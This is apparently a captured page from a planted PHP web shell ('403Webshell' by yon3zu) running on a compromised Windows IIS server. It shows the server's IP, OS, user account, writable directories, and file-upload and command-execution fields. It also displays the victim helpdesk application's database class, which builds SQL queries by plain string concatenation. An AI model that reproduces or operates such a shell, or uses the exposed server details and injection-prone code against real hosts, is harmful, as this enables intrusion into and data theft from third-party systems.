403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Helpdesk/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Helpdesk/application/models/database.php
<?php


class database {

	private $mysqli;
	
	public function __construct()  
    {  
		$this->mysqli = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
		if ($this->mysqli->connect_errno) {
			echo "Failed to connect to MySQL: (" . $this->mysqli->connect_errno . ") " . $this->mysqli->connect_error;
			die();				
		}
		
		$this->mysqli->set_charset("utf8");

    } 
	
	public function __destruct()  
    {  
		$this->mysqli->close();
    } 
	
	private function my_query($query_string){

		global $db_prefix;	

		$result = $this->mysqli->query($query_string);
		
		//echo "<br>------<br>".$query_string."<br>------<br>";
		
		return $result;
	
	}
	
	public function select($query_string, $top1=null){
		$query_string="SELECT ".$query_string;
		$recordset=$this->my_query($query_string);
		
		$result=array();
		
		if ($recordset && $recordset->num_rows>0){
			while ($obj=$recordset->fetch_object()){
				array_push($result, $obj);
			}
			if (isset($top1)) return $result[0]; 
			else return $result; 
		} 
		else {
			return false;
		}
	}

	public function insert($query_string){
		$query_string="INSERT ".$query_string;
		$result=$this->my_query($query_string);
		return $result; 
	}
	
	public function update($query_string){
		$query_string="UPDATE ".$query_string;
		$result=$this->my_query($query_string);
		return $result; 
	}


	public function delete($query_string){
		$query_string="DELETE ".$query_string;
		$result=$this->my_query($query_string);
		return $result; 
	}

	public function affected_rows() {
		return $this->mysqli->affected_rows;
	}

	public function get_num_rows($query_string) {
		$query_string="SELECT ".$query_string;
		$result = $this->mysqli->query($query_string);
		
		return $result->num_rows;
	}	
	
	public function insert_id() {
		return $this->mysqli->insert_id;
	}
	
	public function strip($string) {
		$string = $this->mysqli->real_escape_string($string);
		return $string;
	}
	
	public function strip_array(&$item, $key) {
		$item = $this->mysqli->real_escape_string($item);
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit